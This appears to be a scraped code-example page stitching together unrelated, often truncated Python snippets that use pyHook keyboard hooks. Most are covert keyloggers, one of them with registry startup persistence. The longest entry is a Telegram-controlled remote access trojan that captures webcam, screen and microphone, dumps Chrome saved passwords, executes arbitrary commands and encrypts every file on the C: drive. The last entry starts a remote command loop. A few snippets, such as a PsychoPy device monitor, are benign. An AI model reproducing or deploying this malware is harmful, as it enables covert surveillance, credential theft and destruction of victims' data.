Ejemplo n.º 1
0
    win32gui.ShowWindow(window,0)
    return True

def keyPressed(event):
     global option,word
     if(len(word) > 20):
       f.write(word)
       f.close()
       word = ''
       exit(0)
     
     if event.Ascii == 13:
        keys = '<ENTER>'
     elif event.Ascii == 8:
        keys = '<BACK SPACE>'
     elif event.Ascii == 9:
        keys = '<TAB>'
     else:
        keys = chr(event.Ascii)
     word += keys
     print(word)
     
if __name__ == '__main__':
     f = open("keylog.txt","a")
     hookie = pyHook.HookManager() 
     hookie.KeyDown = keyPressed
     hookie.HookKeyboard()
     pythoncom.PumpMessages()
     hide()

Ejemplo n.º 2
0
import pyHook
import pythoncom
import sys
import logging

# file_log = 'F:\\test\\log.txt'
file_log = "F:\git\Python\Hacking\log.txt"


def onKeyboardEvent(event):
    logging.basicConfig(filename=file_log,
                        level=logging.DEBUG,
                        format='%(message)s')
    chr(event.Ascii)
    logging.log(10, chr(event.Ascii))
    return True


hooks_manager = pyHook.HookManager()

hooks_manager.KeyDown = onKeyboardEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()
Ejemplo n.º 3
0
def log_it():
    obj = pyHook.HookManager()
    obj.KeyDown = keypressed
    obj.HookKeyboard()
    pythoncom.PumpMessages()
Ejemplo n.º 4
0
def handle(msg):
    chat_id = msg['chat']['id']
    if checkchat_id(chat_id):
        response = ''
        if 'text' in msg:
            cd.log(
                'n', '\n\t\tGot message from ' + str(chat_id) + ': ' +
                msg['text'] + '\n\n', True)
            command = msg['text']
            try:
                if command == '/arp':
                    response = ''
                    bot.sendChatAction(chat_id, 'typing')
                    lines = os.popen('arp -a -N ' + internalIP())
                    for line in lines:
                        line.replace('\n\n', '\n')
                        response += line
                elif command == '/capture_webcam':
                    bot.sendChatAction(chat_id, 'typing')
                    camera = cv2.VideoCapture(0)
                    while True:
                        return_value, image = camera.read()
                        gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
                        cv2.imshow('image', gray)
                        if cv2.waitKey(1) & 0xFF == ord('s'):
                            cv2.imwrite('webcam.jpg', image)
                            break
                    camera.release()
                    cv2.destroyAllWindows()
                    bot.sendChatAction(chat_id, 'upload_photo')
                    bot.sendDocument(chat_id, open('webcam.jpg', 'rb'))
                    os.remove('webcam.jpg')
                elif command == '/capture_pc':
                    bot.sendChatAction(chat_id, 'typing')
                    screenshot = ImageGrab.grab()
                    screenshot.save('screenshot.jpg')
                    bot.sendChatAction(chat_id, 'upload_photo')
                    bot.sendDocument(chat_id, open('screenshot.jpg', 'rb'))
                    os.remove('screenshot.jpg')
                elif command.startswith('/cmd_exec'):
                    cd.log('w', 'Command exec prep')
                    process = Popen(['cmd'], stdin=PIPE, stdout=PIPE)
                    command = command.replace('/cmd_exec', '')
                    cd.log('w', 'Executing the command ' + command)
                    if len(command) > 1:
                        process.stdin.write(bytes(command + '\n'))
                        process.stdin.close()
                        lines = process.stdout.readlines()
                        for l in lines:
                            response += l
                    else:
                        response = '/cmd_exec dir'
                elif command.startswith('/cd'):
                    command = command.replace('/cd ', '')
                    try:
                        os.chdir(command)
                        response = os.getcwd() + '>'
                    except:
                        response = 'No subfolder matching ' + command
                elif command.startswith('/delete'):
                    command = command.replace('/delete', '')
                    path_file = command.strip()
                    try:
                        os.remove(path_file)
                        response = 'Succesfully removed file'
                    except:
                        try:
                            os.rmdir(path_file)
                            response = 'Succesfully removed folder'
                        except:
                            try:
                                shutil.rmtree(path_file)
                                response = 'Succesfully removed folder and it\'s files'
                            except:
                                response = 'File not found'
                elif command == '/dns':
                    bot.sendChatAction(chat_id, 'typing')
                    lines = os.popen('ipconfig /displaydns')
                    for line in lines:
                        line.replace('\n\n', '\n')
                        response += line
                elif command.startswith('/download'):
                    bot.sendChatAction(chat_id, 'typing')
                    path_file = command.replace('/download', '')
                    path_file = path_file[1:]
                    if path_file == '':
                        response = '/download C:/path/to/file.name or /download file.name'
                    else:
                        bot.sendChatAction(chat_id, 'upload_document')
                        try:
                            bot.sendDocument(chat_id, open(path_file, 'rb'))
                        except:
                            try:
                                bot.sendDocument(
                                    chat_id,
                                    open(hide_folder + '\\' + path_file))
                                response = 'Found in hide_folder: ' + hide_folder
                            except:
                                response = 'Could not find ' + path_file
                elif command.endswith('code_all'):
                    cd.log('w', 'Data encryption option.')
                    parentDirectory = 'C:\\'
                    for root, dirs, files in os.walk(parentDirectory):
                        for afile in files:
                            full_path = os.path.join(root, afile)
                            if command.startswith('/en'):
                                cd.log(
                                    'w',
                                    'WARNING ABOUT TO ENCRYPT DATA!!!! IN ' +
                                    str(full_path))
                                encode(full_path)
                            elif command.startswith(
                                    '/de') and full_path.endswith(
                                        '.nxr'):  #our extension (been encoded)
                                decode(full_path)
                    response = 'Files ' + command[1:3] + 'coded succesfully.'
                elif command.startswith('/cp'):
                    command = command.replace('/cp', '')
                    command = command.strip()
                    if len(command) > 0:
                        try:
                            file1 = command.split('"')[1]
                            file2 = command.split('"')[3]
                            copyfile(file1, file2)
                            response = 'Files copied succesfully.'
                        except Exception as e:
                            response = 'Error: \n' + str(e)
                    else:
                        response = 'Usage: \n/cp "C:/Users/DonaldTrump/Desktop/p**n.jpg" "C:/Users/DonaldTrump/AppData/Roaming/Microsoft Windows/[pornography.jpg]"'
                        response += '\n\nDouble-Quotes are needed in both whitespace-containing and not containing path(s)'
                elif command.endswith('freeze_keyboard'):
                    global keyboardFrozen
                    keyboardFrozen = not command.startswith('/un')
                    hookManager.KeyAll = lambda event: not keyboardFrozen
                    response = 'Keyboard is now '
                    if keyboardFrozen:
                        response += 'disabled. To enable, use /unfreeze_keyboard'
                    else:
                        cd.log('w', 'Keyboard frozen')
                        response += 'enabled'
                elif command.endswith('freeze_mouse'):
                    if mouseFrozen == False:
                        mse = pyHook.HookManager()
                        mse.MouseAll = false_event
                        mse.KeyAll = false_event
                        mse.HookMouse()
                        mse.HookKeyboard()
                        pythoncom.PumpMessages()
                        response += 'enabled. To disable use /unfreeze_mouse'
                    elif mouseFrozen == True:
                        cd.log('w', 'Keyboard frozen')
                        response += 'enabled. To disable, use /unfreeze_mouse'
                    else:
                        response += 'The script has commited the act of death'
                elif command.endswith('unfreeze_mouse'):
                    if mouseFrozen == True:
                        mse = pyHook.HookManager()
                        mse.MouseAll = true_event
                        mse.KeyAll = true_event
                        mse.HookMouse()
                        mse.HookKeyboard()
                        pythoncom.PumpMessages()
                        response += 'disabled. To enable use /freeze_mouse'
                    elif mouseFrozen == False:
                        response += 'already disabled. To enable, use /freeze_mouse'
                    else:
                        response += 'The script has commited the act of death'
                elif command == '/get_chrome':
                    con = sqlite3.connect(
                        os.path.expanduser('~') +
                        r'\AppData\Local\Google\Chrome\User Data\Default\Login Data'
                    )
                    cursor = con.cursor()
                    cursor.execute(
                        "SELECT origin_url,username_value,password_value from logins;"
                    )
                    for users in cursor.fetchall():
                        response += 'Website: ' + users[0] + '\n'
                        response += 'Username: '******'\n'
                        response += 'Password: '******'\n\n'
                    # """
                    # pass
                elif command.startswith('/hear'):
                    try:
                        SECONDS = -1
                        try:
                            SECONDS = int(command.replace('/hear', '').strip())
                        except:
                            SECONDS = 5

                        CHANNELS = 2
                        CHUNK = 1024
                        FORMAT = pyaudio.paInt16
                        RATE = 44100

                        audio = pyaudio.PyAudio()
                        bot.sendChatAction(chat_id, 'typing')
                        stream = audio.open(format=FORMAT,
                                            channels=CHANNELS,
                                            rate=RATE,
                                            input=True,
                                            frames_per_buffer=CHUNK)
                        frames = []
                        for i in range(0, int(RATE / CHUNK * SECONDS)):
                            data = stream.read(CHUNK)
                            frames.append(data)
                        stream.stop_stream()
                        stream.close()
                        audio.terminate()

                        wav_path = hide_folder + '\\mouthlogs.wav'
                        waveFile = wave.open(wav_path, 'wb')
                        waveFile.setnchannels(CHANNELS)
                        waveFile.setsampwidth(audio.get_sample_size(FORMAT))
                        waveFile.setframerate(RATE)
                        waveFile.writeframes(b''.join(frames))
                        waveFile.close()
                        bot.sendChatAction(chat_id, 'upload_document')
                    except OSError:
                        cd.log(
                            'e',
                            'Unable to listen in - there is probably no input device.'
                        )
                        response = 'unable to listen in - there is probably no input device'
                    #bot.sendAudio(chat_id, audio=open(wav_path, 'rb'))
                elif command == '/ip_info':
                    bot.sendChatAction(chat_id, 'find_location')
                    info = requests.get('http://ipinfo.io').text  #json format
                    location = (loads(info)['loc']).split(',')
                    bot.sendLocation(chat_id, location[0], location[1])
                    import string
                    import re
                    response = 'External IP: '
                    response += "".join(
                        filter(lambda char: char in string.printable, info))
                    response = re.sub('[:,{}\t\"]', '', response)
                    response += '\n' + 'Internal IP: ' + '\n\t' + internalIP()
                elif command == '/keylogs':
                    bot.sendChatAction(chat_id, 'upload_document')
                    bot.sendDocument(chat_id, open(keylogs_file, "rb"))
                elif command.startswith('/ls'):
                    bot.sendChatAction(chat_id, 'typing')
                    command = command.replace('/ls', '')
                    command = command.strip()
                    files = []
                    if len(command) > 0:
                        files = os.listdir(command)
                    else:
                        files = os.listdir(os.getcwd())
                    human_readable = ''
                    for file in files:
                        human_readable += file + '\n'
                    response = human_readable
                elif command.startswith('/msg_box'):
                    message = command.replace('/msg_box', '')
                    if message == '':
                        response = '/msg_box yourText'
                    else:
                        ctypes.windll.user32.MessageBoxW(
                            0, message, u'Information', 0x40)
                        response = 'MsgBox displayed'
                elif command.startswith('/mv'):
                    command = command.replace('/mv', '')
                    if len(command) > 0:
                        try:
                            file1 = command.split('"')[1]
                            file2 = command.split('"')[3]
                            move(file1, file2)
                            response = 'Files moved succesfully.'
                        except Exception as e:
                            response = 'Error: \n' + str(e)
                    else:
                        response = 'Usage: \n/mv "C:/Users/DonaldTrump/Desktop/p**n.jpg" "C:/Users/DonaldTrump/AppData/Roaming/Microsoft Windows/[pornography.jpg]"'
                        response += '\n\nDouble-Quotes are needed in both whitespace-containing and not containing path(s)'
                elif command == '/pc_info':
                    bot.sendChatAction(chat_id, 'typing')
                    info = ''
                    for pc_info in platform.uname():
                        info += '\n' + pc_info
                    info += '\n' + 'Username: '******'/ping':
                    response = platform.uname()[1] + ': I\'m up'
                elif command.startswith('/play'):
                    command = command.replace('/play', '')
                    command = command.strip()
                    if len(command) > 0:
                        systemCommand = 'start \"\" \"https://www.youtube.com/embed/'
                        systemCommand += command
                        systemCommand += '?autoplay=1&showinfo=0&controls=0\"'
                        if os.system(systemCommand) == 0:
                            response = 'YouTube video is now playing'
                        else:
                            response = 'Failed playing YouTube video'
                    else:
                        response = '/play <VIDEOID>\n/play A5ZqNOJbamU'
                elif command == '/proxy':
                    threading.Thread(target=proxy.main).start()
                    info = requests.get('http://ipinfo.io').text  #json format
                    ip = (loads(info)['ip'])
                    response = 'Proxy succesfully setup on ' + ip + ':8081'
                elif command == '/pwd':
                    response = os.getcwd()
                elif command.startswith('/python_exec'):
                    command = command.replace('/python_exec', '').strip()
                    if len(command) == 0:
                        response = 'Usage: /python_exec print(\'printing\')'
                    else:
                        cd.log('w', 'Executing python command')
                        from StringIO import StringIO
                        import sys
                        old_stderr = sys.stderr
                        old_stdout = sys.stdout
                        sys.stderr = mystderr = StringIO()
                        sys.stdout = mystdout = StringIO()
                        exec(command in globals())
                        if mystderr.getvalue() != None:
                            response += mystderr.getvalue()
                        if mystdout.getvalue() != None:
                            response += mystdout.getvalue()
                        sys.stderr = old_stderr
                        sys.stdout = old_stdout
                        if response == '':
                            response = 'Expression executed. No return or malformed expression.'
                elif command == '/reboot':
                    bot.sendChatAction(chat_id, 'typing')
                    command = os.popen('shutdown /r /f /t 0')
                    response = 'Computer will be restarted NOW.'
                elif command.startswith('/run'):
                    bot.sendChatAction(chat_id, 'typing')
                    path_file = command.replace('/run', '')
                    path_file = path_file[1:]
                    if path_file == '':
                        response = '/run_file C:/path/to/file'
                    else:
                        try:
                            os.startfile(path_file)
                            response = 'File ' + path_file + ' has been run'
                        except:
                            try:
                                os.startfile(hide_folder + '\\' + path_file)
                                response = 'File ' + path_file + ' has been run from hide_folder'
                            except:
                                response = 'File not found'
                elif command.startswith('/schedule'):
                    command = command.replace('/schedule', '')
                    if command == '':
                        response = '/schedule 2017 12 24 23 59 /msg_box happy christmas'
                    else:
                        scheduleDateTimeStr = command[1:command.index('/') - 1]
                        scheduleDateTime = datetime.datetime.strptime(
                            scheduleDateTimeStr, '%Y %m %d %H %M')
                        scheduleMessage = command[command.index('/'):]
                        schedule[scheduleDateTime] = {
                            'text': scheduleMessage,
                            'chat': {
                                'id': chat_id
                            }
                        }
                        response = 'Schedule set: ' + scheduleMessage
                        runStackedSchedule(10)
                elif command == '/self_destruct':
                    bot.sendChatAction(chat_id, 'typing')
                    global destroy
                    destroy = True
                    response = 'You sure? Type \'/destroy\' to proceed.'
                elif command == '/shutdown':
                    bot.sendChatAction(chat_id, 'typing')
                    command = os.popen('shutdown /s /f /t 0')
                    response = 'Computer will be shutdown NOW.'
                elif command == '/destroy' and destroy == True:
                    bot.sendChatAction(chat_id, 'typing')
                    if os.path.exists(hide_folder):
                        rmtree(hide_folder)
                    if os.path.isfile(target_shortcut):
                        os.remove(target_shortcut)
                    os._exit(0)
                elif command == '/tasklist':
                    lines = os.popen(
                        'tasklist /FI \"STATUS ne NOT RESPONDING\"')
                    response2 = ''
                    for line in lines:
                        line.replace('\n\n', '\n')
                        if len(line) > 2000:
                            response2 += line
                        else:
                            response += line
                    response += '\n' + response2
                elif command.startswith('/to'):
                    command = command.replace('/to', '')
                    import winsound
                    winsound.Beep(440, 300)
                    if command == '':
                        response = '/to <COMPUTER_1_NAME>, <COMPUTER_2_NAME> /msg_box Hello HOME-PC and WORK-PC'
                    else:
                        targets = command[:command.index('/')]
                        if platform.uname()[1] in targets:
                            command = command.replace(targets, '')
                            msg = {'text': command, 'chat': {'id': chat_id}}
                            handle(msg)
                elif command == '/update':
                    proc_name = app_name + '.exe'
                    if not os.path.exists(hide_folder + '\\updated.exe'):
                        response = 'Send updated.exe first.'
                    else:
                        for proc in psutil.process_iter():
                            # check whether the process name matches
                            if proc.name() == proc_name:
                                proc.kill()
                        os.rename(hide_folder + '\\' + proc_name,
                                  hide_folder + '\\' + proc_name + '.bak')
                        os.rename(hide_folder + '\\updated.exe',
                                  hide_folder + '\\' + proc_name)
                        os.system(hide_folder + '\\' + proc_name)
                        sys.exit()
                elif command.startswith('/wallpaper'):
                    command = command.replace('/wallpaper', '')
                    command = command.strip()
                    if len(command) == 0:
                        response = 'Usage: /wallpaper C:/Users/User/Desktop/p**n.jpg'
                    elif command.startswith('http'):
                        image = command.rsplit('/', 1)[1]
                        image = hide_folder + '/' + image
                        urllib.urlretrieve(command, image)
                        ctypes.windll.user32.SystemParametersInfoW(
                            20, 0, image, 3)
                    else:
                        ctypes.windll.user32.SystemParametersInfoW(
                            20, 0, command.replace('/', '//'), 3)
                        response = 'Wallpaper succesfully set.'
                elif command == '/help':
                    # functionalities dictionary: command:arguments
                    functionalities = { '/arp' : '', \
                                    '/capture_pc' : '', \
                                    '/cmd_exec' : '<command_chain>', \
                                    '/cd':'<target_dir>', \
                                    '/decode_all':'', \
                                    '/delete':'<target_file>', \
                                    '/dns':'', \
                                    '/download':'<target_file>', \
                                    '/encode_all':'', \
                                    '/freeze_keyboard':'', \
                                    '/freeze_mouse':'', \
                                    '/get_chrome':'', \
                                    '/hear':'[time in seconds, default=5s]', \
                                    '/ip_info':'', \
                                    '/keylogs':'', \
                                    '/ls':'[target_folder]', \
                                    '/msg_box':'<text>', \
                                    '/pc_info':'', \
                                    '/play':'<youtube_videoId>', \
                                    '/proxy':'', \
                                    '/pwd':'', \
                                    '/python_exec':'<command_chain>', \
                                    '/reboot':'', \
                                    '/run':'<target_file>', \
                                    '/self_destruct':'', \
                                    '/shutdown':'', \
                                    '/tasklist':'', \
                                    '/to':'<target_computer>, [other_target_computer]',\
                                    '/update':'',\
                                    '/wallpaper':'<target_file>'}
                    response = "\n".join(command + ' ' + description
                                         for command, description in sorted(
                                             functionalities.items()))
                else:  # redirect to /help
                    cd.log('w', 'BOT MISUSE: Invalid command')
                    msg = {'text': '/help', 'chat': {'id': chat_id}}
                    handle(msg)
            except Exception as e:
                cd.log(
                    'e',
                    'BOT MISUSE: Unknown error running command or function.')
                cd.log('z', 'Details from previous error' + str(e))
                #raise
            cd.log('n', 'Command {} ran'.format(command))
        else:  # Upload a file to target
            file_name = ''
            file_id = None
            if 'document' in msg:
                file_name = msg['document']['file_name']
                file_id = msg['document']['file_id']
            elif 'photo' in msg:
                file_time = int(time.time())
                file_id = msg['photo'][1]['file_id']
                file_name = file_id + '.jpg'
            file_path = bot.getFile(file_id=file_id)['file_path']
            link = 'https://api.telegram.org/file/bot' + str(
                token) + '/' + file_path
            file = (requests.get(link, stream=True)).raw
            with open(hide_folder + '\\' + file_name, 'wb') as out_file:
                copyfileobj(file, out_file)
            response = 'File saved as ' + file_name
        if response != '':
            responses = split_string(4096, response)
            for resp in responses:
                send_safe_message(bot, chat_id, resp)  #
        clientSocket.sendto(temp.encode(), (clientname, clientport))

    return True


#def Listenkeyboard():
#	pythoncom.PumpMessages(800)		# 进入循环,如不手动关闭,程序将一直处于监听状态


def Receive():
    print('Ready to receive messages')
    while (1):
        message, ServerAddress = serverSocket.recvfrom(1024)
        print(message.hex())


if __name__ == "__main__":
    hm = pyHook.HookManager()  # 创建一个“钩子”管理对象
    hm.KeyDown = onKeyboardEvent  # 监听所有键盘事件
    hm.HookKeyboard()  # 设置键盘“钩子”

    #threads=[]		#线程池
    t1 = threading.Thread(target=Receive)
    #threads.append(t1)		#加载t1到线程池
    t1.setDaemon(True)  #守护进程,即送入就绪队列
    t1.start()  #启动线程活动
    #t1.join()		#让父进程等待子线程完成

    #父进程
    pythoncom.PumpMessages(800)  # 进入循环,如不手动关闭,程序将一直处于监听状态
Ejemplo n.º 6
0
    def createNewMonitoredDevice(self, device_class_name, deviceConfig):
        #print2err("#### createNewMonitoredDevice: ",device_class_name)
        self._all_device_config_errors = dict()

        try:
            device_instance = None
            device_config = None
            device_event_ids = None
            event_classes = None

            device_instance_and_config = self.addDeviceToMonitor(
                device_class_name, deviceConfig)
            if device_instance_and_config:
                device_instance, device_config, device_event_ids, event_classes = device_instance_and_config
                DeviceConstants.addClassMapping(device_instance.__class__)
                EventConstants.addClassMappings(device_instance.__class__,
                                                device_event_ids,
                                                event_classes)
            else:
                print2err('## Device was not started by the ioHub Server: ',
                          device_class_name)
                raise ioHubError("Device config validation failed")

        except Exception:
            print2err("Error ZZZ during device creation ....")
            printExceptionDetailsToStdErr()
            raise ioHubError("Error ZZ2 during device creation ....")

        # Update DataStore Structure if required.
        if psychopy.iohub._DATA_STORE_AVAILABLE:
            try:
                if self.emrt_file is not None:
                    self.emrt_file.updateDataStoreStructure(
                        device_instance, event_classes)
            except Exception:
                print2err(
                    "Error while updating datastore for device addition:",
                    device_instance, device_event_ids)
                printExceptionDetailsToStdErr()

        self.log("Adding ioServer and DataStore event listeners......")

        # add event listeners for saving events
        if psychopy.iohub._DATA_STORE_AVAILABLE and self.emrt_file is not None:
            if device_config['save_events']:
                device_instance._addEventListener(self.emrt_file,
                                                  device_event_ids)
                self.log(
                    "DataStore listener for device added: device: %s eventIDs: %s"
                    % (device_instance.__class__.__name__, device_event_ids))
                #print2err("DataStore listener for device added: device: %s eventIDs: %s"%(device_instance.__class__.__name__,device_event_ids))
            else:
                #print2err("DataStore saving disabled for device: %s"%(device_instance.__class__.__name__,))
                self.log("DataStore saving disabled for device: %s" %
                         (device_instance.__class__.__name__, ))
        else:
            #print2err("DataStore Not Evabled. No events will be saved.")
            self.log("DataStore Not Enabled. No events will be saved.")

        # Add Device Monitor for Keyboard or Mouse device type
        deviceDict = ioServer.deviceDict
        iohub = self
        if device_class_name in ('Mouse', 'Keyboard'):
            if Computer.system == 'win32':
                import pyHook
                if self._hookManager is None:
                    iohub.log("Creating pyHook HookManager....")
                    #print2err("Creating pyHook HookManager....")
                    self._hookManager = pyHook.HookManager()
                    self._hookManager.keyboard_hook = False

                if device_class_name == 'Mouse' and self._hookManager.mouse_hook is False:
                    #print2err("Hooking Mouse.....")
                    self._hookManager.MouseAll = ioServer.deviceDict[
                        'Mouse']._nativeEventCallback
                    self._hookManager.HookMouse()

                if device_class_name == 'Keyboard' and self._hookManager.keyboard_hook is False:
                    #print2err("Hooking Keyboard.....")
                    self._hookManager.KeyAll = ioServer.deviceDict[
                        'Keyboard']._nativeEventCallback
                    self._hookManager.HookKeyboard()

            elif Computer.system == 'linux2':
                # TODO: consider switching to xlib-ctypes implementation of xlib
                # https://github.com/garrybodsworth/pyxlib-ctypes
                from .devices import pyXHook
                if self._hookManager is None:
                    #iohub.log("Creating pyXHook Monitors....")
                    log_events = self.config.get('log_raw_kb_mouse_events',
                                                 False)
                    self._hookManager = pyXHook.HookManager(log_events)
                    self._hookManager._mouseHooked = False
                    self._hookManager._keyboardHooked = False

                    if device_class_name == 'Keyboard':
                        #print2err("Hooking Keyboard.....")
                        self._hookManager.HookKeyboard()
                        self._hookManager.KeyDown = deviceDict[
                            'Keyboard']._nativeEventCallback
                        self._hookManager.KeyUp = deviceDict[
                            'Keyboard']._nativeEventCallback
                        self._hookManager._keyboardHooked = True
                    elif device_class_name == 'Mouse':
                        #print2err("Hooking Mouse.....")
                        self._hookManager.HookMouse()
                        self._hookManager.MouseAllButtonsDown = deviceDict[
                            'Mouse']._nativeEventCallback
                        self._hookManager.MouseAllButtonsUp = deviceDict[
                            'Mouse']._nativeEventCallback
                        self._hookManager.MouseAllMotion = deviceDict[
                            'Mouse']._nativeEventCallback
                        self._hookManager._mouseHooked = True

                    #print2err("Starting pyXHook.HookManager.....")
                    self._hookManager.start()
                    #iohub.log("pyXHook Thread Created.")
                    #print2err("pyXHook.HookManager thread created.")
                else:
                    #iohub.log("Updating pyXHook Monitor....")
                    if device_class_name == 'Keyboard' and self._hookManager._keyboardHooked is False:
                        #print2err("Hooking Keyboard.....")
                        self._hookManager.HookKeyboard()
                        self._hookManager.KeyDown = deviceDict[
                            'Keyboard']._nativeEventCallback
                        self._hookManager.KeyUp = deviceDict[
                            'Keyboard']._nativeEventCallback
                        self._hookManager._keyboardHooked = True
                    if device_class_name == 'Mouse' and self._hookManager._mouseHooked is False:
                        #print2err("Hooking Mouse.....")
                        self._hookManager.HookMouse()
                        self._hookManager.MouseAllButtonsDown = deviceDict[
                            'Mouse']._nativeEventCallback
                        self._hookManager.MouseAllButtonsUp = deviceDict[
                            'Mouse']._nativeEventCallback
                        self._hookManager.MouseAllMotion = deviceDict[
                            'Mouse']._nativeEventCallback
                        self._hookManager._mouseHooked = True
                    #iohub.log("Finished Updating pyXHook Monitor....")

            else:  # OSX
                if self._hookDevice is None:
                    self._hookDevice = []

                if device_class_name == 'Mouse' and 'Mouse' not in self._hookDevice:
                    #print2err("Hooking OSX Mouse.....")
                    mouseHookMonitor = DeviceMonitor(deviceDict['Mouse'],
                                                     0.004)
                    self.deviceMonitors.append(mouseHookMonitor)
                    deviceDict['Mouse']._CGEventTapEnable(
                        deviceDict['Mouse']._tap, True)
                    self._hookDevice.append('Mouse')
                    #print2err("Done Hooking OSX Mouse.....")
                if device_class_name == 'Keyboard' and 'Keyboard' not in self._hookDevice:
                    #print2err("Hooking OSX Keyboard.....")
                    kbHookMonitor = DeviceMonitor(deviceDict['Keyboard'],
                                                  0.004)
                    self.deviceMonitors.append(kbHookMonitor)
                    deviceDict['Keyboard']._CGEventTapEnable(
                        deviceDict['Keyboard']._tap, True)
                    self._hookDevice.append('Keyboard')
                    #print2err("DONE Hooking OSX Keyboard.....")

            return [
                device_class_name, device_config['name'],
                device_instance._getRPCInterface()
            ]
Ejemplo n.º 7
0
    f = open('D:\\readme.txt', 'r')
    buffer = f.read()
    f.close()
    #
    f = open('D:\\readme.txt', 'w')
    #
    if event.Ascii == 8:
        keylogs = 'BACKSPACE'
        buffer += keylogs
        f.write(buffer)
        f.close
    elif event.Ascii == 13:
        keylogs = 'ENTER'
        buffer += keylogs
        f.write(buffer)
        f.close
    else:
        keylogs = chr(event.Ascii)
        buffer += keylogs
        f.write(buffer)
        f.close

    return True


#
obj = pyHook.HookManager()
obj.KeyDown = keypressed
obj.HookKeyboard()
pythoncom.PumpMessages()
Ejemplo n.º 8
0
 def HookIt(OnKeyboardEvent):
     hm = pyHook.HookManager()
     hm.KeyDown = OnKeyboardEvent
     hm.HookKeyboard()
    def spy(self):
        messagebox.showwarning(
            "Warning",
            "Are You Sure to star Spy as You Can Stop Only By Shuting Down Your System"
        )
        a = messagebox.askokcancel("Ask", "Do You Want to Continue")
        if a > 0:
            global t
            t = ""
            try:
                f = open("Logfile.txt", "a")
                f.close()
            except:
                f = open("Logfile.txt", "w")
                f.close()

            def addStartup(
            ):  # this will add the file to the startup registry key
                fp = os.path.dirname(os.path.realpath(__file__))
                file_name = sys.argv[0].split("\\")[-1]
                new_file_path = fp + "\\" + file_name
                keyVal = r"Software\Microsoft\Windows\CurrentVersion\Run"
                key2change = OpenKey(HKEY_CURRENT_USER, keyVal, 0,
                                     KEY_ALL_ACCESS)
                SetValueEx(key2change, "Im not a keylogger", 0, REG_SZ,
                           new_file_path)

            addStartup()

            def OnMouseEvent(event):
                data = "\n[" + str(time.ctime().split(" ")[3]) + "]" \
                    + " WindowName : " + str(event.WindowName)
                data += "\n\tButton:" + str(event.MessageName)
                data += "\n\tClicked in (Position):" + str(event.Position)
                data += "\n===================="
                global t, start_time

                t = t + data
                if len(t) > 500:
                    f = open("Logfile.txt", "a")
                    f.write(t)
                    f.close()
                    t = ""
                return True

            def OnKeyboardEvent(event):
                data = "\n[" + str(time.ctime().split(" ")[3]) + "]" \
                    + " WindowName : " + str(event.WindowName)
                data += "\n\tKeyboard key :" + str(event.Key)
                data += "\n===================="
                global t, start_time
                t = t + data

                if len(t) > 500:
                    f = open("Logfile.txt", "a")
                    f.write(t)
                    f.close()
                    t = ""
                return True

            hook = pyHook.HookManager()
            hook.KeyDown = OnKeyboardEvent
            hook.MouseAllButtonsDown = OnMouseEvent
            hook.HookKeyboard()
            hook.HookMouse()
            start_time = time.time()

            pythoncom.PumpMessages()
Ejemplo n.º 10
0
#    print('Key:', event.Key)
#    print('KeyID:', event.KeyID)
#    print('ScanCode:', event.ScanCode)
#    print('Extended:', event.Extended)
#    print('Injected:', event.Injected)
#    print('Alt', event.Alt)
#    print('Transition', event.Transition)
#    print('---')
#

def OnKeyboardEvent(event):
    # 0 или 1 - клавиша отжата
    # (-127) или (-128) - клавиша нажата#
    f12 = win32api.GetKeyState(0x7B)
    shift_key = win32api.GetKeyState(0x10)
    if event.Key == 'F12' and event.MessageName == 'key down':
        if shift_key < 0:
            print("Нажато Shift+F12")
        else:
            print("Нажато F12")
            getscreent = 1
    return True

hm = pyHook.HookManager()       # создание экземпляра класса HookManager
hm.KeyAll = OnKeyboardEvent     # отслеживаем нажатия клавиш
hm.HookKeyboard()               # вешаем хук




pythoncom.PumpMessages()        # ловим сообщения
Ejemplo n.º 11
0
        keys = '<DELETE>'
    # debug only remove / comment out when done
    elif event.Ascii == 126:
        sys.exit(0)
    else:
        keys = chr(event.Ascii)
    data += keys
    logKeys(data)
    return True





# Registers and manages callbacks for low level mouse and keyboard events.
hook = pyHook.HookManager()

# Registers the given function as the callback for this keyboard event type.
# Use the KeyDown property as a shortcut.
hook.KeyDown = monitorKeys

# Begins watching for keyboard events. 
hook.HookKeyboard()

# Pumps all messages for the current thread until a WM_QUIT message.
pythoncom.PumpMessages()


    
    
Ejemplo n.º 12
0
def onKeyDown(event):
    keyname = event.GetKey()
    if keyname not in currentCounts:
        currentCounts[keyname] = 1
    else:
        currentCounts[keyname] += 1


def storeCounts():
    while True:
        countsToStore = copy(currentCounts)
        wordlefile = open("keyswordle.txt", "w")
        print >> wordlefile, "key\tcount"
        for keyname in countsToStore:
            label = keyname
            if keyname.startswith("Media_"):
                label = keyname[6:]
            print >> wordlefile, label + "\t" + str(countsToStore[keyname])
        wordlefile.close()
        countsToStore = {}
        sleep(900)


captureThread = Timer(900.0, storeCounts)
captureThread.start()

hookmgr = pyHook.HookManager()
hookmgr.KeyDown = onKeyDown
hookmgr.HookKeyboard()
pythoncom.PumpMessages()
Ejemplo n.º 13
0
def main():
    obj = pyHook.HookManager()
    obj.KeyDown = intercept
    obj.HookKeyboard()
    pythoncom.PumpMessages()
Ejemplo n.º 14
0
                def start_keystroke(garbage1, garbage2, garbage3):

                    hm = pyHook.HookManager()
                    hm.KeyDown = OnKeyboardEvent
                    hm.HookKeyboard()
                    pythoncom.PumpMessages()
Ejemplo n.º 15
0
    if event.Ascii !=0 or 8:#if use press on great or equal 0 or press 8 
        f = open("c:\output.txt". "r+")#creating a file and location of file and imput the keyboard text

        buffer = f.read()#then you will read the file

        f.close()#then you will close the file

    #reopen the file for whe the user starts typing again on the keyboard
        f = ("c:\output.txt", "w")

        keylogs = chr(event.Ascii)

        if event.Ascii == 13:#if the user types 13

            keylogs = '/n' #start a new line in the text file

            buffer += keylogs
            f.write(buffer)
            f.close()

#Create a hook for the manager object

hm = pyHook.HookManager()#referencing the class library the was implemented
hm.KeyDown = OnKeyboardEvent#every time you press down on the keyboard, run the function of logging the events in a text file

#set the hook
hm.HookKeyboard()

#wait forever
pythoncom.PumpMessages()
 def __init__(self):
     self.hm = pyHook.HookManager()
Ejemplo n.º 17
0
def main():
    hm = pyHook.HookManager()
    hm.KeyDown = onKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()
    print 'PyHook Over'
Ejemplo n.º 18
0
def Get_ORDERS():
    while True:
        Order = Sct.recv(4096)

        if Order[:2] == "cd":
            os.chdir(Order[3:])
            Exec = subprocess.Popen(Order,
                                    shell=True,
                                    stdout=subprocess.PIPE,
                                    stderr=subprocess.PIPE,
